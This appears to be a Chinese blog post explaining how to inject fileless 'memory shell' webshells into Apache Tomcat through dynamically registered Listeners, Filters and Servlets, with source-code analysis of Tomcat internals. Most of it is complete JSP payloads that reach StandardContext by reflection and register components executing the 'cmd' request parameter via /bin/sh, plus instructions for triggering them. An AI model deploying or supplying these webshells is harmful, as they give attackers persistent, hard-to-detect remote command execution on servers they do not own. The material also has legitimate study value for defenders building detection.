背景知识-生命周期
Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例。
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。
Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。
加载顺序
web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。
listener型
请求网站的时候,程序先自动执行listener监听器的内容,再去执行filter过滤器,如果存在多个过滤器则会组成过滤链,最后一个过滤器将会去执行Servlet的service方法。
Listener -> Filter -> Servlet
Listener是最先被加载的,所以可以利用动态注册恶意的Listener达到内存马。
Listener分类
- ServletContext监听,服务器启动和终止时触发
- Session监听,Session建立摧毁时触发
- Request监听,每次访问服务时触发
从上面分类来看,如果能动态添加Listener那Request监听最适合植入内存马。
源码分析
addListener方法
public <T extends EventListener> void addListener(T t) {
// 首先判断web应用是不是已经初始化运行起来了, 如果是的话则不能在中途添加Listener。
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addListener.ise", new Object[]{this.getContextPath()}));
} else {
boolean match = false;
if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) {
this.context.addApplicationEventListener(t);
match = true;
}
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}
ApplicationContext的addListener方法,可以将恶意Listener加入到Listener数组中,从而实现内存马。
在addListener中真正去添加Listener的是this.context.addApplicationEventListener
方法,这里的context的值是StandardContext,也就是说真正用于添加Listener的方法在StandardContext的方法中。
由于addListener方法会判断web应用状态,不能直接调用来添加Listener。
(注:也看到有师傅通过修改context的state为LifecycleState.STARTING_PREP来通过判断,最后修改回来,但个人比较担心这个操作容易产生副作用,因此不采用。)
因此需要通过反射获取StandardContext对象并调用addApplicationEventListener(listener)
方法来添加Listener。
而StandardContext对象可以通过request的getServletContext()
方法获取。
request内置对象
request内置对象是由Tomcat创建的,可以用来封装HTTP请求参数信息、进行属性值的传递以及完成服务端跳转,这就是request对象最重要的三个功能了。
一旦http请求报文发送到Tomcat中, Tomcat对数据进行解析,就会立即创建request对象,并对参数赋值,然后将其传递给对应的jsp/servlet 。一旦请求结束,request对象就会立即被销毁。服务端跳转,因为仍然是同一次请求,所以这些页面会共享一个request对象。
实现
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
// 获取standardContext对象
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 创建listener
ListenH listenH = new ListenH(request, response);
// 添加listener
standardContext.addApplicationEventListener(listenH);
out.print("Add successfully.");
%>
<%!
public class ListenH implements ServletRequestListener {
public ServletResponse response;
public ServletRequest request;
ListenH(ServletRequest request, ServletResponse response) {
this.request = request;
this.response = response;
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
this.response.getWriter().write(result);
}catch (Exception e){
System.out.println("error ");
}
}
}
%>
每次访问该jsp页面的时候都会重复添加Listener,导致重复执行。所以访问一次添加成功后最好不要再访问。
添加成功后访问任意存在的页面?cmd=要执行的命令
即可。
filter型
原理
Filter的作用,当配置了Filter后用户的请求会经过FIlter过滤后再执行到Servlet,如果有多个Filter则会组成一个Filter链,最后一个Filter再去执行Servlet。
相关类
Filter 过滤器接口
FilterChain 过滤器链
FilterConfig 过滤器的配置
FilterDef 过滤器的配置和描述
ApplicationFilterChain 调用过滤器链
ApplicationFilterConfig 获取过滤器
ApplicationFilterFactory 组装过滤器链
addFilter方法
前面提到在ApplicationContext中存在addListener方法,可以将恶意Listener加入到Listener数组中,从而实现内存马。在ApplicationContext中也存在addFilter方法。
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
if (filterName != null && !filterName.equals("")) {
// 首先判断web应用是不是已经初始化运行起来了, 如果是的话则不能在中途添加Filter。
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
} else {
// 通过filterName查找filterDef,没有则添加filterDef
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
this.context.addFilterDef(filterDef);
} else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}
// 为filterDef添加关联的filter对象
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}
// 注册filterDef
return new ApplicationFilterRegistration(filterDef, this.context);
}
但以上整个过程只相当于进行了filterDef的创建和注册行为,并没有将filter添加到链中。
createFilterChain方法
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
......
......
......
// 获取到StandardContext的filterMaps
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();// 获取FilterMaps,这个是在ContextConfig中组装的,内容是在web.xml中配置的filter
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
// 根据RequestURI匹配FilterMaps中的过滤项,添加到filterChain中
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
// matchDispatcher - 过滤器支持的类型,包括 FORWARD、INCLUDE、REQUEST、ASYNC、ERROR
// matchFiltersURL - filterMap里filter设置的过滤url地址是否和前端请求匹配
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
// 通过FilterName在StandardContext中获取filterConfig
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
}
}
}
arr$ = filterMaps;
len$ = filterMaps.length;
// 根据StanderWrapper的Name来匹配FilterMaps中的过滤项,添加到filterChain
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
// matchFiltersServlet - 比较的是FilterMap的ServletName与StanderWrapper的Name
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
// 通过FilterName在StandardContext中获取filterConfig
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
最终目的:filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
流程:
- 由filterMap获取filterName
- 通过FilterName在StandardContext中获取filterConfig
- 将获取到的filterConfig添加到filterChain中
FilterMaps
FilterMaps对应了web.xml中配置的<filter-mapping>
,里面代表了各个filter之间的调用顺序。
FilterConfig
filterConfig在filterConfigs中。
filterConfigs是一个HashMap,存放了filter名和ApplicationFilterConfig的键值对。
ApplicationFilterConfig中存放了filterDef。
实现
要实现filter型内存马要经过如下步骤:
- 创建恶意filter类并用filterDef对其进行封装
- 将filterDef添加到filterDefs中
- 创建filterConfig并添加到filterConfigs中(filterConfig需要filterName与ApplicationFilterConfig的映射)
- 创建filterMap并添加到filterMaps中(filterMap需要url与filterName的映射)
- 利用StandardContext的addFilterMapBefore方法将filterMap添加到首位
- StandardContext会一直保留到Tomcat生命周期结束,所以内存马可以一直驻留下去,直到Tomcat重启。
测试环境:apache-tomcat-7.0.109
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.deploy.FilterDef" %>
<%@ page import="org.apache.catalina.deploy.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
// 为了获取standardContext
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 创建filterDef添加到standardContext中
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("testF");
standardContext.addFilterDef(filterDef); // 在context中添加filterMap时会去找一下是否存在对应的filterdef
Filter filter = new testF();
filterDef.setFilter(filter); // 将我们创建的filter与filterdef相关联起来
// 将filterDef添加到filterConfigs中
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap hashMap = (HashMap) field.get(standardContext);
Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
hashMap.put("testF",constructor.newInstance(standardContext,filterDef));
// 创建filterMap以添加url与filter的映射,并置于最高优先级
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("testF");
standardContext.addFilterMapBefore(filterMap);
System.out.println("filter ok !");
%>
<%!
public class testF implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
String cmder = req.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
resp.getWriter().write(result);
}catch (Exception e){
System.out.println("error ");
}
chain.doFilter(req,resp);
}
public void init(FilterConfig config) throws ServletException {
}
}
%>
servlet型
原理
参考文章[2]的分析方式如下:
查看添加一个servlet后StandardContext的变化。
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.yzddmr6.servletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装。
类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系。
个人在对应版本环境下跟进调试:
注册的Servlet都会出现在children中,其中后两个是个人通过注解注册的。
现在问题是:1.如何新建Wrapper 2.然后用Wapper封装Servlet
通过Google知晓:
ContextConfig监听器响应配置开始事件时会解析web.xml,进而将每个servlet定义都包装成Wrapper,这是由Context组件的createWrapper方法实现的。 REF:Tomcat启动分析(十一) - Wrapper组件
在tomcat源码搜索createWapper方法时发现它自己添加wapper的一个逻辑可供参考。
但是明显缺失了对servlet本体class的关联。不要慌张,再看看别的:
抄作业,请。
然后就是问题3:如何添加ServletMapping将访问的URL和Servlet进行绑定
也是有作业直接可抄的。
实现
主要步骤如下:
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
测试环境:apache-tomcat-7.0.109
最终代码1✖️
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="javax.servlet.annotation.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>servlet shell</title>
</head>
<body>
</body>
</html>
<%
// 为了获取standardContext
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 1. 创建恶意Servlet
ShellServlet shellServlet = new ShellServlet();
// 2. 用Wrapper对其进行封装
Wrapper sw = standardContext.createWrapper();
sw.setServletClass(shellServlet.getClass().getName());
sw.setName("ShellServlet");
// 3. 添加封装后的恶意Wrapper到StandardContext的children当中
standardContext.addChild(sw);
// 4. 添加ServletMapping将访问的URL和Servlet进行绑定
standardContext.addServletMapping("/ShellServlet", sw.getName());
// END
out.println("动态注入servlet成功");
%>
<%!
public class ShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
String cmder = request.getParameter("servletcmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("\n");
}
String result = sb.toString();
response.getWriter().write(result);
} catch (Exception e) {
System.out.println("error ");
}
}
}
%>
<%--
class ShellServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null){
// Runtime.getRuntime().exec(request1.getParameter("cmd"));
String cmder = req.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("\n");
}
String result = sb.toString();
response1.getWriter().write(result);
}catch (Exception e){
System.out.println("error ");
}
}
else{
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
--%>
下面注释代码块也是可用的。
✈️心情激动,IDEA启动,注入成功!访问servlet报错!😭
不可用?什么不可用?我为什么看不懂🙉
调试半天也没找出原因,最后还是比对别的师傅的servlet-shell代码发现的问题:缺失setServlet操作。
即关联了name关联了class没有关联本体。
但是没想通别人怎么发现的,于是继续会源代码查找setServlet附近的逻辑。
上门红色框内的代码是否有些熟悉。就是作者前面嘲讽的地方:
但是明显缺失了对servlet本体class的关联。不要慌张,再看看别的:
抄作业要认真。
最终代码2✔️
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="javax.servlet.annotation.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>servlet shell</title>
</head>
<body>
</body>
</html>
<%
// 为了获取standardContext
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 1. 创建恶意Servlet
ShellServlet shellServlet = new ShellServlet();
// 2. 用Wrapper对其进行封装
Wrapper sw = standardContext.createWrapper();
sw.setServletClass(shellServlet.getClass().getName());
sw.setServlet(shellServlet);
sw.setName("ShellServlet");
// 3. 添加封装后的恶意Wrapper到StandardContext的children当中
standardContext.addChild(sw);
// 4. 添加ServletMapping将访问的URL和Servlet进行绑定
standardContext.addServletMapping("/ShellServlet", sw.getName());
// END
out.println("动态注入servlet成功");
%>
<%!
public class ShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
String cmder = request.getParameter("servletcmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("\n");
}
String result = sb.toString();
response.getWriter().write(result);
} catch (Exception e) {
System.out.println("error ");
}
}
}
%>
⚠️获取standardContext部分代码一直都是抄的某个师傅的,感觉有简化的可能?
参考
[1].查杀Java web filter型内存马
[2].JSP Webshell那些事——攻击篇(下)
[3].bitterzzZZ / MemoryShellLearn / jsp注入内存马 / addservlet.jsp
[4].Tomcat内存马(一) 初探